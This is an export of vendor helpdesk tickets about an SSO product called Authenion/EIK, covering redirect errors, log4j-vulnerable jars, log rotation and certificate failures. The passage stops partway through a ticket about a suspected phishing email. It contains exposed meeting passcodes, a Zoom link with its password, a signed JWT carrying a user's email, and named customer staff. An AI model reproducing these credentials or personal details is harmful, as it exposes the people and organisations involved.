Here is the meeting invite. Call is scheduled for 5:30 PM IST today. [https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_YzZkMTNhZDgtOWU1Ni00MzM5LWE2OWUtMmU1Y2JkYjJjOGVI%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_YzZkMTNhZDgtOWU1Ni00MzM5LWE2OWUtMmU1Y2JkYjJjOGVI%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d)

Hi Prateek Jain, Okay, Noted! Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please keep this ticket open.. We are reproducing the issue.

Ok, Sure Prateek, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We LMS was expecting to reproduce the error and identify the cause, We did not observe any error after the idle time out expiry msg in Hyperion workspace ,this seems to be an intermittent issue. Advised BT to get in touch with us ASAP when the error re- occurs.

some of users got this error "401 Authorization Required" during redirection. We have uploaded screen shot of the error and authentication engine log. timestamp is in MST in log file and this issue happened between 6:00 PM and 6:15 PM MST

Sure Prateek Jain, We will take a look on this and will update to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Meeting

invite

:

[https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_Y2VhZTdZjctYTMwNC00NTQ4LWE1NTktZjkyZmNmYTA0YWEy%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_Y2VhZTdZjctYTMwNC00NTQ4LWE1NTktZjkyZmNmYTA0YWEy%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d)

Ok Noted Prateek, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We observed that, after the application timeout, redirection was taking place back to the app. However some other users are not being redirected to app & ?Failed to commit?msg pops up.(Venkat)

This ticket has been re-opened up the client request.

Hi Prateek Jain/Abinav This ticket has been re-opened upon your request. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have uploaded trace files for working and non working incidents. Kindly review and don't close this ticket. It will not be easy every time to set up call immediately after occurrence of issue.

Hi Prateek Jain/Abinav We are in the process looking into the NW trace. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team , is there any finding?

Hi Prateek Jain, We will get back to you on the findings, Can you also send us the screen shots of all the error messages pertaining to this issue, errors that your application team faced (the word doc that you showed) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

requested document has been uploaded.

Hi Prateek Jain, We did not find any errors in the provided Network trace, Re producing the error again while we are on call and capturing the behavior will be helpful. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Re producing the error again while we are on call and capturing the behavior will be helpful. >> This is what we had done last week.

Hi Prateek Jain, In the last week's meeting, the n/w trace was captured only for the working scenario. The issue was not reproduced over the meeting. The n/w trace highlighting with the ?issue

was captured even before our meeting and it was just shown to us on the call. We would need to see the behavior of the issue that is happening here and capture the n/w trace so that we can assist you better. Please let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We had also uploaded trace of not working incident. let's connect today at 5:00 PM IST to discuss troubleshooting approach of this issue. Here is the meeting invite. [https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_Yjk2YjU0MzQtMmY1ZS00MWE4LWExYmEtNmYzMWZjNWNiYzY5%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_Yjk2YjU0MzQtMmY1ZS00MWE4LWExYmEtNmYzMWZjNWNiYzY5%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d)

We just finished with the BT 1151 call, They will be setting the log mode to debug on the Application and Authenion and share them with us. Vish from BT was not able to re-produce the NW trace since the system was already working, however we have requested them to re-produce the errored scenario and send us the NW trace ASAP. BT also wanted to know if there is any other method of identifying the issue without engaging in logs or NW trace.

is there any option to enable debug log mode for authenion logs?

Hi Prateek Jain, Yes we have ,please follow the below steps: 1.Path for the file location : authenion-2.0/authenion/config/log4j2.xml 2.Change level, info to debug. here is the snippet for the change. <Loggers> <Logger name="com.authenion" level="DEBUG" additivity="false"> <appender-ref ref="FileAppender"/> </Logger> 3.Please do Authenion restart. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain/Abinav Were you able to re-produce the error and capture the NW trace, Kindly give us an update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have enabled Log tracing at Hyperion end and are reproducing the issue. will update the ticket.

We have enabled Log tracing at Hyperion end and are reproducing the issue. will update the ticket.

Hi Prateek Jain, okay, Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Kindly give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, We are closing this ticket. You can re-open this ticket, If you face any issues. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1151> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to

this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1152

SUBJECT : can authenion be installed on Oracle Linux 8 and Linux 9

PROBLEM DESCRIPTION : Our organization is planning to move all servers from Oracle Linux 7 to Oracle Linux 8 and Linux 9 in coming days. hence We just wanted to know if authenion can be installed on Linux 8 and Linux9. Please suggest.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1151> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Prateek Jain, Which version of Linux are you using now ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1152> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, We confirm that Authenion works on Oracle Linux ver 8/9 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1152> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1153

SUBJECT : log4j vulnerability in EBSdatasource.jar and EIKutility.jar

PROBLEM DESCRIPTION : Hi Team, Our security team scanned authenion setup and found "authenion-agent-1.1.jar" file under log4j vulnerability. Path : /u11/Tomcat/apache-tomcat-9.0.65/CUSODEV2/EBSdatasource.jar Installed version : 2.8.2 Fixed version : 2.12.4 Path : /u11/Tomcat/apache-tomcat-9.0.65/CUSODEV1/EIKutility.jar Installed version : 2.8.2 Fixed version : 2.12.4 Kindly suggest a latest patch for removing this vulnerability. Thanks Prateek

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1135> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Team, Our security team scanned authenion setup and found "EIKutility.jar" and "EBSdatasource.jar" file under log4j vulnerability. Path : /u11/Tomcat/apache-tomcat-9.0.65/CUSODEV2/EBSdatasource.jar Installed version : 2.8.2 Fixed version : 2.12.4 Path : /u11/Tomcat/apache-tomcat-9.0.65/CUSODEV1/EIKutility.jar Installed version : 2.8.2 Fixed version : 2.12.4 Kindly suggest a latest patch for removing this vulnerability. Thanks Prateek

Hi Prateek Jain, We will look into this and get back to you asap. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, We will be providing you with the Patch by this week. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the



ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please Find the Below Patch Files.  
<https://likemindsconsultinghelp.freshdesk.com/a/solutions/articles/48001252211> Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are unable to download these patches due to security issues . Can you please upload it on this ticket. Thanks Prateek

Hi Prateek Jain, Please Find the Below Attached Patch Files. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please find the below attached patch files. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please Find the Below Attached Patch Files. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please Find the Below Drive Link for Patch Files.

<https://drive.google.com/drive/folders/1ydNxv4SZrBpWNhOTHiJR-wrQWIK00yy9?usp=sharing>

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please download the files from below link. 1.Unzip the two files. 2.Rename the two files from .txt to .jar

<https://support.likemindsconsulting.com/en/support/solutions/articles/48001252211-log4j-patch-for-vulnerability-ebsdatasource-jar-and-eikutility-jar> ?Please confirm receipt of the two files. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please find the below EIKUtility file and rename the file from .txt to .jar Confirm once received. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Were you able to download the two files from the portal. Kindly, let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, I am not able to download EIKUtility file. Got below error.

Hi Prateek Jain, Hope you were able to download the files, kindly give us an update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Good, finally you were able to download the file. We will be closing this Ticket. You can re-open if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1153> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1154

SUBJECT : How to rotate the access.log , server.log and audit.log

PROBLEM DESCRIPTION : Authenion does not rotate the access.log, server.log and audit.log fiels. These files grow in size and current size of access.log is 7 GB and it is getting rotated. When we cleared this file still it consume the same space even size in KB. We had to restart the Authenion services to regain the space. Please provide steps to rotate these files after 100 MB size without restarting the Authenion services.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, We will look into this and get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please note that only authenion-engine.log (is already set to 100mb) and audit.log can only be rotated . Authenion restart is not required for the log rotation. The changes should be done in the log4j2 file for audit.log file which is present in the config directory as shown below. ?

```
<RollingFile          name="AuditFile"          fileName="${log-path}/audit.log"
filePattern="${archive}/audit.%d{yyyy-MM-dd}.log"  ignoreExceptions="false">  <PatternLayout>
<pattern>%d| %X{event}| %X{username}| %X{clientip} | %X{virtualserver}| %X{url}| %X{httpmethod}|
%X{host}| %X{status}| %X{description}| %X{event.status}| %X{response.time} %n</pattern>
</PatternLayout>  <Policies>  <SizeBasedTriggeringPolicy  size="19500KB"  />  </Policies>
<DefaultRolloverStrategy max="30"/> </RollingFile>
```

This 19500KB can be changed to 100000KB if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

It is consuming space and these files are growing in size in GBs and we need the functionality to rotate these files. It is impacting production and we can't stop and start the production services. Authenion does not rotate the access.log, server.log and audit.log fiels. These files grow in size and current size of access.log is 7 GB and it is getting rotated. When we cleared this file still it consume the same space even size in KB. We had to restart the Authenion services to regain the space. Please provide steps to rotate these files after 100 MB size without restarting the Authenion services.

Please let us know if we can add same for these files access.log, server.log too?

Hi Anil Dutta, We are looking into this, shall give you an update soon. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, As a workaround, In the authenion.conf file in /server/conf/ directory, In the paths: server.log & access.log can be mapped to another shared drive for log storage. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please note that: Authenion restart is required after the mappings. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks for the info. But our actual requirement is, how to rotate the access.log, server.log files? It will be again a issue even we map to another drive. there will be a single file keep on growing in size. Can we add the logic in log4j2 to rotate these files same as audit.log file? Or is there any other way to rotate these files without stopping the Authenion services.

Hi Anil Dutta, As mentioned the previous is only a workaround. We are looking into this issue and shall get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Can you please update the ticket with resolution?

Hi Anil Dutta, We will get back to you on this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, This log rotation feature for Server.log and Access.log is not present at the moment, for Authenion ver 2.0. We are considering this as a future enhancement task and our development team is actively working on implementing this feature. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1154> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1155

SUBJECT : Authentication Error - OIDC-LM-3235

PROBLEM DESCRIPTION : We recently upgraded jdk to "1.8.0\_401" and got the errors, but even after reverting it, we still see the error. Please assist in determining where the issue is. The heartbeat URL returns OK status <https://extprfonline.officedepot.com/EBSAuth/heartbeat> This is the error received in the catalina.out log 2024-02-27T15:52:15.506-0500 ERROR [https-jsse-nio-8443-exec-11] [com.likeminds.ebsauth.exception.EikExceptionResolver]

OIDC\_ID\_TOKEN\_PROVIDER\_FAILURE com.likeminds.ebsauth.exception.AuthException:  
OIDC\_ID\_TOKEN\_PROVIDER\_FAILURE

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/tickets>

portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Carla Chan, Kindly send us a meeting invite to discuss this OIDC\_LM-3235 error Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1155> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, ?Please tryout the followings, 1.Please clear browser cache 2.Open in incognito window 3.Provide us with the EIK error & debug logs Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1155> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Microsoft Teams Need help? Join the meeting now Meeting ID: 217 082 313 980 Passcode: phfZUj  
Dial-in by phone +1 954-256-2185,,140058574# United States, Fort Lauderdale Find a local number  
Phone conference ID: 140 058 574#

The steps provided were already done and we're still seeing the error Microsoft Teams Need help?  
Join the meeting now Meeting ID: 217 082 313 980 Passcode: phfZUj Dial-in by phone +1  
954-256-2185,,140058574# United States, Fort Lauderdale Find a local number Phone conference  
ID: 140 058 574#

Hi Carla Chan, Noted ! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1155>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not  
reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

SSL certificate was uploaded to the java key store by Carla.

Resolution: PingFed cert needed to be added to the java keystore, after the jdk upgrade.

TICKET DISPLAY ID : 1156

SUBJECT : Re-generate dbcX

PROBLEM DESCRIPTION : LMS was called in to assist in re-generating the dbcX file after a EBS db Password reset. Mohanish from Navisite re-generated the dbcX file.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2024-02-28 21:17:57 UTC

Hi Srinivas\_garnepudi, We have opened ticket 1156 and will be closing the same. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1156> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1157

SUBJECT : EBS nonprod SSO not working for all nonprod EBS instances

PROBLEM DESCRIPTION : 2024-02-29 14:58:30,185 ERROR  
[com.likeminds.ebsauth.service.AuthService] Exception occurred in get OIDC Authn User  
org.jose4j.jwt.consumer.InvalidJwtException: JWT processing failed. Additional details: [[17] Unable  
to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable



verification key for JWS w/ header {"alg":"RS256","kid":"JZNIIPeo5cOwL4aHbE2BSQbaEWI"} due to an unexpected exception (javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: Certificate chaining error) while obtaining or using keys from JWKS endpoint at https://pingtest.activision.com/pf/JWKS):

JsonWebSignature{"alg":"RS256","kid":"JZNIIPeo5cOwL4aHbE2BSQbaEWI"}->eyJhbGciOiJSUzI1NiIsImtpZCI6IkpkaTmlJUGVvNWNPd0w0YUhiRTJCU1FiYUVXSSJ9.eyJzdWIiOiJTYW5kZWVwLkFtcnV0aWFAYWN0aXZpc2lvbi5jb20iLCJhdWQiOiJlYnNxdGVzdGNsaWVudCIsImp0aSI6Iks5SVG9QdTI2RiZiS2FSNnBpMIBOT2oiLCJpc3MiOiJodHRwczovL3Bpbmd0ZXN0LmFjdGl2aXNpb24uY29tliwiYWV0IjoxNzA5MjQ3NTEwLCJleHAiOiJlY3MDkyNDc4MTAsImFjciI6InVybjpvYXNpczpuYW1lc3p0YzpwTQU1MOjluMDphYzpjbjGFzc2VzOjBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0IiwiaXV0aF90aW1lIjoxNzA5MjQ3NTA5LCJlaWtfdXNlcm5hbWUiOiJTYW5kZWVwLkFtcnV0aWFAYWN0aXZpc2lvbi5jb20ifQ.FJj\_id5NOhs6NJKQBXY7SsjKnUqILef6lThCia50RYuiPn5CtokzTJPyVAXIVszAeStW8S322rnHh-PYwuHD7lr8krBqcOBR1wFUnf0fJ58wLt-boqjME2M2FurGVbZUda-ltFbeWoDg-JKs4s8fMCykpq2teTQrS-zHa6oHvEi68i7NMTnpBZb\_XaLfuwqdf68MumUEo4vaNaU7yKp1mlbYSPdgtEbsL2JKblo2Vk0kV3lQ\_TNJ3-ggBm4pBJUvqEGPmp5cQBuaYTk\_vq1exJie3ap4sp-woNmTip5Nj2klenYF08oLcm3OPjdklYA9LGm2Lvo\_nIUZFgcdShfUvw]

at

org.jose4j.jwt.consumer.JwtConsumer.processContext(JwtConsumer.java:271) ~[jose4j-0.7.0.jar:?]

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Activision DBA, please send us a meeting invite and also send us the eik-logs(eik-error log and eik-debug log). Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Uploaded server log

Hi Activision DBA, Could you please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Will check and let you know asap. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Could you please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

PFA server.log

Uploaded logs from 2 apps servers, admin server

Export of Trace for oracler12test.activision.com

We have captured additional logs from all 3 servers which has Feb 29th timestamp for reference in case required.

Hi Support, Please let us know if you need any details/files . Regrds, Francis T.

Hi Activision DBA, Could you please send us a meeting invite at 1:30pm IST to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Dear Team, Please join the below link for the meeting at 1.30 pm IST to discuss on the issue. Topic: Activision SSO Issue on all Non-PROD Time: Mar 2, 2024 01:30 PM India Join Zoom Meeting <https://atvi.zoom.us/j/97163905766?pwd=WVBpd3VDOWd6QVBQU3JwSVU3NXRPQT09> Meeting ID: 971 6390 5766 Passcode: 288451 Thanks & Regards, Activision DBA

Hi Activision DBA, Ok, Noted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vignesh/ Team, I have attached the latest server log. As discussed over the call, could you please update in the ticket with clear details you are looking for ? Thanks

Hi Activision DBA, Could you please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

As discussed over the call, we are not allowed to make any changes in test server until the dev issue is resolved. Previous support engineer Vignesh helped us to investigate the issue in dev and he suggested for new certificate import. We have asked him to update the ticket with the information like certificate format and other details clearly. I also request you that, please update the ticket with the findings/changes/reverts done when you troubleshoot/investigate the issue. Thanks

Team, Any update please. Thanks

Hi Activision DBA, The issue is different from both Dev and Test environments. So for the test environment if we upload the load balancer certificate it might solve the test environment issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Okay sure. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have never uploaded any LB certificate in any of the environment, It is still working on Prod. Not

sure why do we require to upload at the moment? the same environment worked earlier without LB certificate.

Hi Activision DBA, In the test environment the log shows that it is missing the verification key. So EIK depends on that key for the token validation. We are not sure that what changes have been made in the PingFederate for this issue to occur. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Support team, As updated earlier, we havent made any changes to pingfederate . Let us know how to validate the same. Thanks Sravan

Hi Activision DBA & Team, Please send us a meeting invite to address this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thanks for your help in resolving the SSO login issue . Can anyone of you please join below zoom now . Just need one clarification. Thanks <https://atvi.zoom.us/j/95187433266>

Hi Activision DBA, Hi Team, The following tasks were performed in DEV environment: 1.On Saturday's call we downloaded the load balancer certificate from the EBSAuth/ssologin & imported it into the Trusted CA's in PingFederate console, however we were unable to login to the EBS application. 2.In today's call (Sunday) we re-deployed the EIK kit and tested the SSO url and logged on to the EBS application successfully. The following tasks were performed in the TEST

environment: 1.Issue cassued from the PingFederate side . So, In today's call (Sunday) we downloaded the load-balancer certificate from EBSAuth/ssologin and imported it into the Trusted CA's in the pingfederate console and we were able to successfully log into the EBS application page. Thanks & Regards Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Thanks for all your help in resolving the issue. Would it be possible to get the root cause for abrupt SSO issue. Because, there was no changes from our end and it was working fine till Thursday afternoon( PST ). Thanks

Call is not needed right now. You can let us know if you find anything. Thankyou

Hi Activision DBA, Okay will let you know. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA,( Francis/Sandeep/Krishana) Please note that we are closing this Dev/Test ticket as the issues have been resolved. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1157> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1158

SUBJECT : User Activation

PROBLEM DESCRIPTION : Non of the team member initiated user creation or activate request. we receive below Email with link, can you let us know who initiated the request and purpose? is it any kind of phishing Email?

